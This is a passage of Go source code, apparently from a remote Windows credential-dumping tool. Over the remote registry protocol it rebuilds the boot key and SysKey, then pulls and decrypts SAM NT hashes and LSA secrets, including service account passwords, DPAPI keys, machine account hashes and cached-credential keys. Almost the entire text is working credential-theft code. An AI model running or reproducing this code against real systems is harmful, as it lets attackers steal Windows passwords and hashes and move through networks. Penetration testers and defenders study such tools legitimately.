IV []byte 55 | RID uint32 56 | AES bool 57 | } 58 | 59 | type printableLSASecret struct { 60 | secretType string 61 | secrets []string 62 | extraSecret string 63 | } 64 | 65 | // https://www.passcape.com/index.php?section=docsys&cmd=details&id=23 66 | type lsa_secret struct { 67 | Version uint32 68 | EncKeyId string // 16 bytes 69 | EncAlgorithm uint32 70 | Flags uint32 71 | EncryptedData []byte 72 | } 73 | 74 | func (self *lsa_secret) unmarshal(data []byte) { 75 | self.Version = binary.LittleEndian.Uint32(data[:4]) 76 | self.EncKeyId = string(data[4:20]) 77 | self.EncAlgorithm = binary.LittleEndian.Uint32(data[20:24]) 78 | self.Flags = binary.LittleEndian.Uint32(data[24:28]) 79 | self.EncryptedData = data[28:] 80 | } 81 | 82 | type lsa_secret_blob struct { 83 | Length uint32 84 | Unknown [12]byte 85 | Secret []byte 86 | } 87 | 88 | func (self *lsa_secret_blob) unmarshal(data []byte) { 89 | self.Length = binary.LittleEndian.Uint32(data[:4]) 90 | copy(self.Unknown[:], data[4:16]) 91 | self.Secret = data[16 : 16+self.Length] 92 | } 93 | 94 | type dpapi_system struct { 95 | Version uint32 96 | MachineKey [20]byte 97 | UserKey [20]byte 98 | } 99 | 100 | func (self *dpapi_system) unmarshal(data []byte) { 101 | self.Version = binary.LittleEndian.Uint32(data[:4]) 102 | copy(self.MachineKey[:], data[4:24]) 103 | copy(self.UserKey[:], data[24:44]) 104 | } 105 | 106 | type sam_key_data_aes struct { 107 | Revision uint32 108 | Length uint32 109 | ChecksumLen uint32 110 | DataLen uint32 111 | Salt [16]byte 112 | Data [32]byte 113 | } 114 | 115 | type sam_key_data struct { 116 | Revision uint32 117 | Length uint32 118 | Salt [16]byte 119 | Key [16]byte 120 | Checksum [16]byte 121 | _ uint64 122 | } 123 | 124 | type domain_account_f struct { // 104 bytes of fixed length fields 125 | Revision uint16 126 | _ uint32 // Unknown 127 | _ uint16 // Unknown 128 | CreationTime uint64 129 | DomainModifiedAccount uint64 130 | MaxPasswordAge uint64 131 | MinPasswordAge uint64 132 | ForceLogoff uint64 133 | LockoutDuration uint64 134 | LockoutObservationWindow uint64 135 | ModifiedCountAtLastPromotion uint64 136 | NextRid uint32 137 | PasswordProperties uint32 138 | MinPasswordLength uint16 139 | PasswordHistoryLength uint16 140 | LockoutThreshold uint16 141 | _ uint16 // Unknown 142 | ServerState uint32 143 | ServerRole uint32 144 | UasCompatibilityRequired uint32 145 | _ uint32 // Unknown 146 | Data []byte 147 | } 148 | 149 | func (self *domain_account_f) unmarshal(data []byte) (err error) { 150 | if len(data) < 104 { 151 | err = fmt.Errorf("Not enough data to unmarshal a DOMAIN_ACCOUNT_F") 152 | log.Errorln(err) 153 | return 154 | } 155 | 156 | self.Revision = binary.LittleEndian.Uint16(data[:2]) 157 | self.CreationTime = binary.LittleEndian.Uint64(data[8:16]) 158 | self.DomainModifiedAccount = binary.LittleEndian.Uint64(data[16:24]) 159 | self.MaxPasswordAge = binary.LittleEndian.Uint64(data[24:32]) 160 | self.MinPasswordAge = binary.LittleEndian.Uint64(data[32:40]) 161 | self.ForceLogoff = binary.LittleEndian.Uint64(data[40:48]) 162 | self.LockoutDuration = binary.LittleEndian.Uint64(data[48:56]) 163 | self.LockoutObservationWindow = binary.LittleEndian.Uint64(data[56:64]) 164 | self.ModifiedCountAtLastPromotion = binary.LittleEndian.Uint64(data[64:72]) 165 | self.NextRid = binary.LittleEndian.Uint32(data[72:76]) 166 | self.PasswordProperties = binary.LittleEndian.Uint32(data[76:80]) 167 | self.MinPasswordLength = binary.LittleEndian.Uint16(data[80:82]) 168 | self.PasswordHistoryLength = binary.LittleEndian.Uint16(data[82:84]) 169 | self.LockoutThreshold = binary.LittleEndian.Uint16(data[84:86]) 170 | self.ServerState = binary.LittleEndian.Uint32(data[88:92]) 171 | self.ServerRole = binary.LittleEndian.Uint32(data[92:96]) 172 | self.UasCompatibilityRequired = binary.LittleEndian.Uint32(data[96:100]) 173 | if len(data) > 104 { 174 | self.Data = make([]byte, len(data[104:])) 175 | copy(self.Data, data[104:]) 176 | } 177 | return 178 | } 179 | 180 | type nl_record struct { 181 | UserLength uint16 182 | DomainNameLength uint16 183 | EffectiveNameLength uint16 184 | FullNameLength uint16 185 | LogonScriptName uint16 186 | ProfilePathLength uint16 187 | HomeDirectoryLength uint16 188 | HomeDirectoryDriveLength uint16 189 | UserId uint32 190 | PrimaryGroupId uint32 191 | GroupCount uint32 192 | logonDomainNameLength uint16 193 | Unk0 uint16 194 | LastWrite uint64 195 | Revision uint32 196 | SidCount uint32 197 | Flags uint32 198 | Unk1 uint32 199 | LogonPackageLength uint32 200 | DnsDomainNameLength uint16 201 | UPN uint16 202 | IV [16]byte 203 | CH [16]byte 204 | EncryptedData []byte 205 | } 206 | 207 | func (self *nl_record) unmarshal(data []byte) (err error) { 208 | if len(data) < 96 { 209 | err = fmt.Errorf("Not enough data to unmarshal an NL_RECORD") 210 | log.Errorln(err) 211 | return 212 | } 213 | 214 | self.UserLength = binary.LittleEndian.Uint16(data[:2]) 215 | self.DomainNameLength = binary.LittleEndian.Uint16(data[2:4]) 216 | self.EffectiveNameLength = binary.LittleEndian.Uint16(data[4:6]) 217 | self.FullNameLength = binary.LittleEndian.Uint16(data[6:8]) 218 | self.LogonScriptName = binary.LittleEndian.Uint16(data[8:10]) 219 | self.ProfilePathLength = binary.LittleEndian.Uint16(data[10:12]) 220 | self.HomeDirectoryLength = binary.LittleEndian.Uint16(data[12:14]) 221 | self.HomeDirectoryDriveLength = binary.LittleEndian.Uint16(data[14:16]) 222 | self.UserId = binary.LittleEndian.Uint32(data[16:20]) 223 | self.PrimaryGroupId = binary.LittleEndian.Uint32(data[20:24]) 224 | self.GroupCount = binary.LittleEndian.Uint32(data[24:28]) 225 | self.logonDomainNameLength = binary.LittleEndian.Uint16(data[28:30]) 226 | self.Unk0 = binary.LittleEndian.Uint16(data[30:32]) 227 | self.LastWrite = binary.LittleEndian.Uint64(data[32:40]) 228 | self.Revision = binary.LittleEndian.Uint32(data[40:44]) 229 | self.SidCount = binary.LittleEndian.Uint32(data[44:48]) 230 | self.Flags = binary.LittleEndian.Uint32(data[48:52]) 231 | self.Unk1 = binary.LittleEndian.Uint32(data[52:56]) 232 | self.LogonPackageLength = binary.LittleEndian.Uint32(data[56:60]) 233 | self.DnsDomainNameLength = binary.LittleEndian.Uint16(data[60:62]) 234 | self.UPN = binary.LittleEndian.Uint16(data[62:64]) 235 | copy(self.IV[:], data[64:80]) 236 | copy(self.CH[:], data[80:96]) 237 | self.EncryptedData = data[96:] 238 | return 239 | } 240 | 241 | func pad64(data uint64) uint64 { 242 | if (data & 0x3) > 0 { 243 | return data + (data & 0x3) 244 | } 245 | return data 246 | } 247 | 248 | func getServiceUser(rpccon *msrrp.RPCCon, base []byte, name string) (result string, err error) { 249 | hSubKey, err := rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Services\`+name) 250 | if err != nil { 251 | log.Errorln(err) 252 | return 253 | } 254 | defer rpccon.CloseKeyHandle(hSubKey) 255 | return rpccon.QueryValueString(hSubKey, "ObjectName") 256 | } 257 | 258 | func parseSecret(rpccon *msrrp.RPCCon, base []byte, name string, secretItem []byte) (result *printableLSASecret, err error) { 259 | 260 | if len(secretItem) == 0 { 261 | log.Debugf("Discarding secret %s, NULL Data\n", name) 262 | return 263 | } 264 | if bytes.Compare(secretItem[:2], []byte{0, 0}) == 0 { 265 | log.Debugf("Discarding secret %s, all zeros\n", name) 266 | return 267 | } 268 | secret := "" 269 | extrasecret := "" 270 | upperName := strings.ToUpper(name) 271 | result = &printableLSASecret{} 272 | result.secretType = "[*] " + name 273 | if strings.HasPrefix(upperName, "_SC_") { 274 | secretDecoded, err2 := encoder.FromUnicodeString(secretItem) 275 | if err2 != nil { 276 | err = err2 277 | log.Errorln(err) 278 | return 279 | } 280 | //Get service account name 281 | svcUser, err := getServiceUser(rpccon, base, name[4:]) // Skip initial _SC_ of the name 282 | if err != nil { 283 | log.Errorln(err) 284 | svcUser = "(unknown user)" 285 | } else { 286 | if strings.HasPrefix(svcUser, ".\\") { 287 | svcUser = svcUser[2:] 288 | } 289 | } 290 | secret = fmt.Sprintf("%s: %s", svcUser, secretDecoded) 291 | result.secrets = append(result.secrets, secret) 292 | //} else if strings.HasPrefix(upperName, "DEFAULTPASSWORD") { 293 | // secretDecoded, err2 := encoder.FromUnicodeString(secretItem) 294 | // if err2 != nil { 295 | // err = err2 296 | // log.Errorln(err) 297 | // return 298 | // } 299 | // username, err := getDefaultLogonName() 300 | // if err != nil { 301 | // golog.Errorln(err) 302 | // } 303 | // if username == "" { 304 | // username = "(Unknown user)" 305 | // } 306 | 307 | // // Get default login name 308 | // secret = fmt.Sprintf("%s: %s", username, secretDecoded) 309 | // result.secrets = append(result.secrets, secret) 310 | } else if strings.HasPrefix(upperName, "ASPNET_WP_PASSWORD") { 311 | secretDecoded, err2 := encoder.FromUnicodeString(secretItem) 312 | if err2 != nil { 313 | err = err2 314 | log.Errorln(err) 315 | return 316 | } 317 | secret = fmt.Sprintf("ASPNET: %s", secretDecoded) 318 | result.secrets = append(result.secrets, secret) 319 | } else if strings.HasPrefix(upperName, "DPAPI_SYSTEM") { 320 | dpapi := &dpapi_system{} 321 | dpapi.unmarshal(secretItem) 322 | secret = fmt.Sprintf("dpapi_machinekey: 0x%x", dpapi.MachineKey) 323 | secret2 := fmt.Sprintf("dpapi_userkey: 0x%x", dpapi.UserKey) 324 | result.secrets = append(result.secrets, secret) 325 | result.secrets = append(result.secrets, secret2) 326 | //log.Noticeln("DPAPI_SYSTEM secret") 327 | } else if strings.HasPrefix(upperName, "$MACHINE.ACC") { 328 | //log.Noticeln("Machine Account secret") 329 | h := md4.New() 330 | h.Write(secretItem) 331 | printname := "$MACHINE.ACC" 332 | secret = fmt.Sprintf("$MACHINE.ACC (NT Hash): %x", h.Sum(nil)) 333 | result.secrets = append(result.secrets, secret) 334 | // Calculate AES128 and AES256 keys from plaintext passwords 335 | hostname, domain, err := getHostnameAndDomain(rpccon, base) 336 | if err != nil { 337 | log.Errorln(err) 338 | // Skip calculation of AES Keys if request failed or if domain is empty 339 | } else if domain != "" { 340 | aes128Key, aes256Key, err := CalcMachineAESKeys(hostname, domain, secretItem) 341 | if err != nil { 342 | log.Errorln(err) 343 | } else { 344 | result.secrets = append(result.secrets, fmt.Sprintf("%s:AES_128_key:%x", printname, aes128Key)) 345 | result.secrets = append(result.secrets, fmt.Sprintf("%s:AES_256_key:%x", printname, aes256Key)) 346 | } 347 | } 348 | // Always print plaintext anyway since this may be needed for some popular usecases 349 | extrasecret = fmt.Sprintf("%s:plain_password_hex:%x", printname, secretItem) 350 | result.extraSecret = extrasecret 351 | } else if strings.HasPrefix(upperName, "NL$KM") { 352 | secret = fmt.Sprintf("NL$KM: 0x%x", secretItem[:16]) 353 | result.secrets = append(result.secrets, secret) 354 | } else if strings.HasPrefix(upperName, "CACHEDDEFAULTPASSWORD") { 355 | //TODO What is CachedDefaultPassword? How is it different from the registry keys under winlogon? 356 | // Default password for winlogon 357 | secretDecoded, err2 := encoder.FromUnicodeString(secretItem) 358 | if err2 != nil { 359 | err = err2 360 | log.Errorln(err) 361 | return 362 | } 363 | log.Noticeln("Check for default username is not implemented yet") 364 | //username, err := getDefaultLogonName() 365 | //if err != nil { 366 | // log.Errorln(err) 367 | //} 368 | username := "" 369 | if username == "" { 370 | username = "(Unknown user)" 371 | } 372 | 373 | // Get default login name 374 | secret = fmt.Sprintf("%s: %s", username, secretDecoded) 375 | result.secrets = append(result.secrets, secret) 376 | } else { 377 | // Handle Security questions? 378 | log.Noticef("Empty or unhandled secret for %s: %x\n", name, secretItem) 379 | } 380 | return 381 | } 382 | 383 | func getBootKey(rpccon *msrrp.RPCCon, base []byte) (result []byte, err error) { 384 | // check if bootkey is already retrieved 385 | if len(BootKey) != 0 { 386 | return BootKey, nil 387 | } 388 | log.Debugln("Retrieving bootkey from registry") 389 | 390 | result = make([]byte, 16) 391 | var p []byte = []byte{0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7} 392 | scrambledKey := make([]byte, 0, 16) 393 | 394 | hSubKey, err := rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Control\Lsa\JD`) 395 | if err != nil { 396 | log.Errorln(err) 397 | return 398 | } 399 | keyinfo, err := rpccon.QueryKeyInfo(hSubKey) 400 | if err != nil { 401 | log.Errorln(err) 402 | rpccon.CloseKeyHandle(hSubKey) 403 | return 404 | } 405 | rpccon.CloseKeyHandle(hSubKey) 406 | jd, err := hex.DecodeString(keyinfo.ClassName) 407 | if err != nil { 408 | log.Errorln(err) 409 | return 410 | } 411 | 412 | log.Debugf("KeyClass: %x\n", jd) 413 | scrambledKey = append(scrambledKey, jd...) 414 | 415 | hSubKey, err = rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Control\Lsa\Skew1`) 416 | if err != nil { 417 | log.Errorln(err) 418 | return 419 | } 420 | keyinfo, err = rpccon.QueryKeyInfo(hSubKey) 421 | if err != nil { 422 | log.Errorln(err) 423 | rpccon.CloseKeyHandle(hSubKey) 424 | return 425 | } 426 | rpccon.CloseKeyHandle(hSubKey) 427 | skew1, err := hex.DecodeString(keyinfo.ClassName) 428 | if err != nil { 429 | log.Errorln(err) 430 | return 431 | } 432 | 433 | log.Debugf("KeyClass: %x\n", skew1) 434 | scrambledKey = append(scrambledKey, skew1...) 435 | 436 | hSubKey, err = rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Control\Lsa\GBG`) 437 | if err != nil { 438 | log.Errorln(err) 439 | return 440 | } 441 | keyinfo, err = rpccon.QueryKeyInfo(hSubKey) 442 | if err != nil { 443 | log.Errorln(err) 444 | rpccon.CloseKeyHandle(hSubKey) 445 | return 446 | } 447 | rpccon.CloseKeyHandle(hSubKey) 448 | gbg, err := hex.DecodeString(keyinfo.ClassName) 449 | if err != nil { 450 | log.Errorln(err) 451 | return 452 | } 453 | 454 | log.Debugf("KeyClass: %x\n", gbg) 455 | scrambledKey = append(scrambledKey, gbg...) 456 | 457 | hSubKey, err = rpccon.OpenSubKey(base, `SYSTEM\CurrentControlSet\Control\Lsa\Data`) 458 | if err != nil { 459 | log.Errorln(err) 460 | return 461 | } 462 | keyinfo, err = rpccon.QueryKeyInfo(hSubKey) 463 | if err != nil { 464 | log.Errorln(err) 465 | rpccon.CloseKeyHandle(hSubKey) 466 | return 467 | } 468 | rpccon.CloseKeyHandle(hSubKey) 469 | data, err := hex.DecodeString(keyinfo.ClassName) 470 | if err != nil { 471 | log.Errorln(err) 472 | return 473 | } 474 | 475 | log.Debugf("KeyClass: %x\n", data) 476 | scrambledKey = append(scrambledKey, data...) 477 | 478 | log.Debugf("ScrambledKey: %x\n", scrambledKey) 479 | for i := 0; i < len(scrambledKey); i++ { 480 | result[i] = scrambledKey[p[i]] 481 | } 482 | BootKey = make([]byte, 16) 483 | copy(BootKey, result) 484 | log.Infof("BootKey: 0x%x\n", BootKey) 485 | 486 | return 487 | } 488 | 489 | func getSysKey(rpccon *msrrp.RPCCon, base []byte, modifyDacl bool) (sysKey []byte, err error) { 490 | var tmpSysKey []byte 491 | _, err = getBootKey(rpccon, base) 492 | if err != nil { 493 | return 494 | } 495 | var hSubKey []byte 496 | if modifyDacl { 497 | hSubKey, err = rpccon.OpenSubKey(base, `SAM\SAM\Domains\Account`) 498 | } else { 499 | hSubKey, err = rpccon.OpenSubKeyExt(base, `SAM\SAM\Domains\Account`, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 500 | } 501 | if err != nil { 502 | log.Errorln(err) 503 | return 504 | } 505 | 506 | fBytes, err := rpccon.QueryValue(hSubKey, "F") 507 | if err != nil { 508 | log.Errorln(err) 509 | rpccon.CloseKeyHandle(hSubKey) 510 | return 511 | } 512 | 513 | rpccon.CloseKeyHandle(hSubKey) 514 | 515 | f := &domain_account_f{} 516 | err = f.unmarshal(fBytes) 517 | if err != nil { 518 | log.Errorln(err) 519 | rpccon.CloseKeyHandle(hSubKey) 520 | return 521 | } 522 | 523 | var encSysKey []byte 524 | var sysKeyIV []byte 525 | sysKey = make([]byte, 16) 526 | 527 | if f.Revision == 3 { 528 | // AES 529 | samAesData := sam_key_data_aes{} 530 | err = binary.Read(bytes.NewReader(f.Data), binary.LittleEndian, &samAesData) 531 | if err != nil { 532 | log.Errorln(err) 533 | rpccon.CloseKeyHandle(hSubKey) 534 | return 535 | } 536 | sysKeyIV = samAesData.Salt[:] 537 | encSysKey = samAesData.Data[:samAesData.DataLen] 538 | tmpSysKey, err = DecryptAESSysKey(BootKey, encSysKey, sysKeyIV) 539 | copy(sysKey, tmpSysKey) 540 | } else if f.Revision == 2 { 541 | // RC4 542 | samData := &sam_key_data{} 543 | err = binary.Read(bytes.NewReader(f.Data), binary.LittleEndian, samData) 544 | if err != nil { 545 | log.Errorln(err) 546 | rpccon.CloseKeyHandle(hSubKey) 547 | return 548 | } 549 | 550 | sysKeyIV = samData.Salt[:] 551 | // For RC4, also check the checksum so we should XOR 32 bytes instead of just 16 552 | encSysKey = append(samData.Key[:], samData.Checksum[:]...) 553 | tmpSysKey, err = DecryptRC4SysKey(BootKey, encSysKey, sysKeyIV) 554 | // Verify checksum 555 | input := []byte{} 556 | input = append(input, tmpSysKey[:16]...) 557 | input = append(input, s2...) 558 | input = append(input, tmpSysKey[:16]...) 559 | input = append(input, s1...) 560 | checksum := md5.Sum(input) 561 | if bytes.Compare(checksum[:], tmpSysKey[16:]) != 0 { 562 | err = fmt.Errorf("Syskey checksum failed. Could be that a Syskey startup password is in use.") 563 | log.Errorln(err) 564 | return 565 | } 566 | copy(sysKey, tmpSysKey[:16]) 567 | } else { 568 | err = fmt.Errorf("Unknown revision of DOMAIN_ACCOUNT_F") 569 | log.Errorln(err) 570 | return 571 | } 572 | 573 | log.Infof("SysKey: 0x%x\n", sysKey) 574 | return 575 | } 576 | 577 | func DecryptRC4SysKey(bootKey, encSysKey, sysKeyIV []byte) (sysKey []byte, err error) { 578 | // Building the decryption key for the Syskey 579 | input := []byte{} 580 | input = append(input, sysKeyIV...) 581 | input = append(input, s1...) 582 | input = append(input, bootKey...) 583 | input = append(input, s2...) 584 | rc4key := md5.Sum(input) 585 | log.Debugf("Syskey RC4 enc key: md5(%x %q %x %q)\n", sysKeyIV, s1, bootKey, s2) 586 | log.Debugf("Syskey RC4 enc key: %x\n", rc4key) 587 | c1, err := rc4.NewCipher(rc4key[:]) 588 | if err != nil { 589 | log.Errorln("Failed to init RC4 key") 590 | return 591 | } 592 | sysKey = make([]byte, 32) 593 | c1.XORKeyStream(sysKey, encSysKey) 594 | return 595 | } 596 | 597 | func DecryptAESSysKey(bootKey, encSysKey, sysKeyIV []byte) (sysKey []byte, err error) { 598 | sysKey = make([]byte, len(encSysKey)) 599 | a1, err := aes.NewCipher(bootKey) 600 | if err != nil { 601 | log.Errorln("Failed to init AES key") 602 | return 603 | } 604 | c1 := cipher.NewCBCDecrypter(a1, sysKeyIV) 605 | c1.CryptBlocks(sysKey, encSysKey) 606 | return 607 | } 608 | 609 | func getNTHash(rpccon *msrrp.RPCCon, base []byte, rids []string, modifyDacl bool) (result []UserCreds, err error) { 610 | result = make([]UserCreds, len(rids)) 611 | log.Debugf("Number users: %d\n", len(rids)) 612 | // Some entires have empty passwords or hash retrieval fails for some reason. 613 | // In those cases I skip to the next entry. I increment the ctr first thing 614 | // instead of at the end of the loop to make sure it happens 615 | 616 | // Determine OS version once 617 | osBuild, osVersion, isServer, err := GetOSVersionBuild(rpccon, base) 618 | if err != nil { 619 | log.Errorln(err) 620 | return 621 | } 622 | 623 | cntr := -1 624 | for _, ridStr := range rids { 625 | cntr += 1 626 | log.Debugf("Incrementing cntr to: %d\n", cntr) 627 | parts := strings.Split(ridStr, "\\") 628 | ridBytes, err := hex.DecodeString(parts[len(parts)-1]) 629 | if err != nil { 630 | log.Errorln(err) 631 | return nil, err 632 | } 633 | rid := binary.BigEndian.Uint32(ridBytes) 634 | result[cntr].RID = rid 635 | 636 | var hSubKey []byte 637 | if modifyDacl { 638 | hSubKey, err = rpccon.OpenSubKey(base, ridStr) 639 | } else { 640 | hSubKey, err = rpccon.OpenSubKeyExt(base, ridStr, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 641 | } 642 | if err != nil { 643 | log.Errorln(err) 644 | return nil, err 645 | } 646 | 647 | v, err := rpccon.QueryValue(hSubKey, "V") 648 | if err != nil { 649 | log.Errorln(err) 650 | rpccon.CloseKeyHandle(hSubKey) 651 | return nil, err 652 | } 653 | rpccon.CloseKeyHandle(hSubKey) 654 | /* 655 | Information about the structure of the V value of 656 | SAM\SAM\Domain\Users\ is collected from multiple locations but most 657 | of the information is taken from http://www.beginningtoseethelight.org/ntsecurity/index.htm 658 | Some info is also taken from https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral 659 | 660 | The first 12 bytes are unknown. Next comes 12-byte blocks of 3 uint32 661 | where the first contain the relative offset, the second contains the 662 | length and the third is unknown. 663 | The relative offset is relative to 0xcc, so if the offset for the username 664 | would be 0xc0 the offset from beginning of V would be 0xcc+0xc0 665 | 666 | Some of the offsets for the 12-byte blocks: 667 | Address Information 668 | 0x0c Offset of the account name 669 | 0x10 Length of the account name 670 | 0x18 Offset of the complete account name 671 | 0x1c Length of the complete account name 672 | 0x24 Offset of the comment 673 | 0x28 Length of the comment 674 | 0x48 Offset of the homedir name 675 | 0x4c Length of the homedir name 676 | 0x60 Offset of the scriptpath 677 | 0x9c Offset of the LM Hash 678 | 0xa0 Length of the LM Hash 679 | 0xa8 Offset of the NT Hash 680 | 0xac Length of the NT Hash 681 | 0xc4 Number of hashes from history 682 | 683 | Get NTHash length: 684 | int(V[0xac] + V[0xad]*0x100) 685 | Get NTHash addr: 686 | int(V[0xa8] + V[0xa9]*0x100 + 0xcc) 687 | 688 | Info from Impacket's secretsdump.py (SAM_HASH_AES structure) 689 | For AES hashes, the NTHashAddr value will point to the beginning of a structure: 690 | PekID: 2 bytes 691 | Revision: 2 bytes 692 | DataOffset: 4 bytes 693 | Salt: 16 bytes 694 | Hash: 32 bytes 695 | 696 | So, add 8 bytes, read 16 byte salt, and then read additional 16 bytes 697 | hash. There are 32 bytes there but only first 16 bytes seems to be used 698 | in decryption. 699 | 700 | Info from Impacket's secretsdump.py (SAM_HASH structure) 701 | For RC4 hashes, the NTHashAddr value will point to the beginning of a structure: 702 | PekID: 2 bytes 703 | Revision: 2 bytes 704 | Hash: 16 bytes 705 | 706 | So, add 4 bytes to the offset and then read the 16 byte hash. 707 | 708 | There has been some changes in the NT Hashes between windows versions. 709 | Originally it was RC4 hashes but some time after Windows 10 it was changed 710 | to AES hashes. For new installations of Windows 10 after some patch 711 | (Win10 Anniversary update) it was only AES hashes, but if the system 712 | was upgraded the old hashes would be RC4 and new accounts would get AES 713 | hashes. So to figure out if it is RC4 or AES we check version of 714 | Windows and the length of the hash structure. 715 | */ 716 | 717 | offsetName := binary.LittleEndian.Uint32(v[0x0c:]) + 0xcc 718 | szName := binary.LittleEndian.Uint32(v[0x10:]) 719 | result[cntr].Username, err = encoder.FromUnicodeString(v[offsetName : offsetName+szName]) 720 | if err != nil { 721 | log.Errorln(err) 722 | continue 723 | } 724 | 725 | /* According to https://www.insecurity.be/blog/2018/01/21/retrieving-ntlm-hashes-and-what-changed-technical-writeup/ 726 | Windows systems before build 14393 (Windows 10 anniversary update) has RC4 encrypted hashes 727 | and systems after that build have AES encrypted hashes. 728 | 729 | Some corner cases: 730 | - Windows systems out there that where installed pre Windows v1607: RC4 encryption only. 731 | - Windows systems that where installed as pre Windows v1607 but updated later without password updates (net user Administrator 123456): RC4 encryption only 732 | - Windows systems that where installed as pre Windows v1607 and then updated and have updated one or more user passwords (net user Administrator 123456): Mixed RC4 (SysKey) and AES (Hash) encryption 733 | - Windows systems that where installed as Windows v1607 or newer: AES encryption only 734 | */ 735 | 736 | szNT := binary.LittleEndian.Uint32(v[0xac:]) 737 | offsetHashStruct := binary.LittleEndian.Uint32(v[0xa8:]) + 0xcc 738 | if szNT == 0 { 739 | continue 740 | } 741 | if osBuild < 14393 && (0x14 == szNT) { 742 | // PreWin10Anniversary update (RC4) 743 | szNT -= 4 // Hash length is reported as 20 bytes. 2+2+16 bytes for all members of the structure 744 | offsetNTHash := offsetHashStruct + 4 // Skipping first 4 bytes of structure 745 | result[cntr].AES = false 746 | result[cntr].Data = v[offsetNTHash : offsetNTHash+16] 747 | } else { 748 | afterAnniversary, err2 := IsWin10After1607(osBuild, osVersion) 749 | if err2 != nil { 750 | log.Errorln(err2) 751 | continue 752 | } 753 | if afterAnniversary { 754 | if 0x14 == szNT { 755 | // System upgraded but without password updates 756 | szNT -= 4 // Hash length is reported as 20 bytes. 2+2+16 bytes for all members of the structure 757 | offsetNTHash := offsetHashStruct + 4 // Skipping first 4 bytes of structure 758 | result[cntr].AES = false 759 | result[cntr].Data = v[offsetNTHash : offsetNTHash+16] 760 | } else if 0x38 == szNT { 761 | // AES Structure is 2+2+4+16+32 = 56 or 0x38 bytes for all members of the structure 762 | offsetIV := offsetHashStruct + 8 // Skipping first 8 bytes of AES Hash structure 763 | offsetNTHash := offsetHashStruct + 24 // The aes encrypted NT Hash begins after the 16 byte IV (8 + 16) 764 | result[cntr].AES = true 765 | result[cntr].Data = v[offsetNTHash : offsetNTHash+16] 766 | result[cntr].IV = v[offsetIV : offsetIV+16] 767 | } else if szNT == 0x18 { // Structure with empty hashes (2+2+4+16) 768 | result[cntr].AES = true 769 | result[cntr].Data = []byte{} 770 | } else if szNT == 0x4 { // Structure with empty hash for RC4 771 | // System upgraded but without passord updates and in this case, an empty password 772 | result[cntr].AES = false 773 | result[cntr].Data = []byte{} 774 | } else { 775 | //log.Warningf("NT Hash length for %s is 0x%x when after win10 Anniversary update is: %v which is unexpected\n", name, szNT, afterAnniversary) 776 | log.Warningf("NT Hash length for %x is 0x%x when after win10 Anniversary update is: %v which is unexpected\n", rid, szNT, afterAnniversary) 777 | } 778 | } else { 779 | if szNT == 0x4 { // Structure with empty hash for RC4 780 | result[cntr].AES = false 781 | result[cntr].Data = []byte{} 782 | } else { 783 | log.Warningf("Unknown Hash type for %x with length 0x%x with OS: %s\n", rid, szNT, osNameMap[GetOSVersion(osBuild, osVersion, isServer)]) 784 | } 785 | } 786 | } 787 | } 788 | return 789 | } 790 | 791 | func decryptLSAKey(rpccon *msrrp.RPCCon, base []byte, data []byte) (result []byte, err error) { 792 | _, err = getBootKey(rpccon, base) 793 | if err != nil { 794 | log.Errorln(err) 795 | return 796 | } 797 | var plaintext []byte 798 | if VistaStyle { 799 | // data contains a list of LSA Keys, so could be more than 1 in the list. 800 | lsaSecret := &lsa_secret{} 801 | lsaSecret.unmarshal(data) 802 | log.Debugf("LSA EncKeyId: %x, EncAlgorithm: %d\n", lsaSecret.EncKeyId, lsaSecret.EncAlgorithm) 803 | encryptedData := lsaSecret.EncryptedData 804 | tmpkey := SHA256(BootKey, encryptedData[:32], 0) 805 | plaintext, err2 := DecryptAES(tmpkey, encryptedData[32:], nil) 806 | if err2 != nil { 807 | log.Errorln(err2) 808 | err = err2 809 | return 810 | } 811 | lsaSecretBlob := &lsa_secret_blob{} 812 | lsaSecretBlob.unmarshal(plaintext) 813 | result = lsaSecretBlob.Secret[52:][:32] 814 | } else { 815 | // Seems to be for Windows XP 816 | // Untested code 817 | h := md5.New() 818 | h.Write(BootKey) 819 | for i := 0; i < 1000; i++ { 820 | h.Write(data[60:76]) 821 | } 822 | tmpkey := h.Sum(nil) 823 | c1, err2 := rc4.NewCipher(tmpkey[:]) 824 | if err2 != nil { 825 | err = err2 826 | log.Errorln("Failed to init RC4 key") 827 | return 828 | } 829 | plaintext = make([]byte, 48) 830 | c1.XORKeyStream(plaintext, data[12:60]) 831 | result = plaintext[0x10:0x20] 832 | } 833 | return 834 | } 835 | 836 | func getLSASecretKey(rpccon *msrrp.RPCCon, base []byte, modifyDacl bool) (result []byte, err error) { 837 | if len(LSAKey) > 0 { 838 | return 839 | } 840 | /* 841 | Information from 842 | https://www.passcape.com/index.php?section=docsys&cmd=details&id=23 843 | Before Windows Vista, there was only a single encryption key for LSA 844 | secrets that was stored in the registry entry 845 | Security\Policy\PolSecretEncryptionKey 846 | 847 | However, after Vista there was a change that allowed for multiple encryption 848 | keys such that LSA secrets could be encrypted with different keys. 849 | These encryption keys are stored in a list in the registry entry 850 | Security\Policy\PolEKList 851 | 852 | TODO Implement support for multiple LSA encryption keys 853 | For now this implementation only supports using a single encryption key. 854 | To know which key to use a check is performed to see what registry value 855 | is populated with a key. 856 | */ 857 | VistaStyle = true 858 | var data []byte 859 | log.Debugln("Decrypting LSA Key") 860 | var hSubKey []byte 861 | if modifyDacl { 862 | hSubKey, err = rpccon.OpenSubKey(base, `Security\Policy\PolEKList`) 863 | } else { 864 | hSubKey, err = rpccon.OpenSubKeyExt(base, `Security\Policy\PolEKList`, msrrp.RegOptionBackupRestore, msrrp.PermMaximumAllowed) 865 | } 866 | if err != nil { 867 | if err == fmt.Errorf("ERROR_FILE_NOT_FOUND") { 868 | VistaStyle = false 869 | } else { 870 | log.Errorln(err) 871 | return 872 | } 873 | } 874 | data, err = rpccon.QueryValue(hSubKey, "") 875 | if err != nil { 876 | log.Errorln(err) 877 | rpccon.CloseKeyHandle(hSubKey) 878 | return 879 | } 880 | rpccon.CloseKeyHandle(hSubKey) 881 | 882 | if 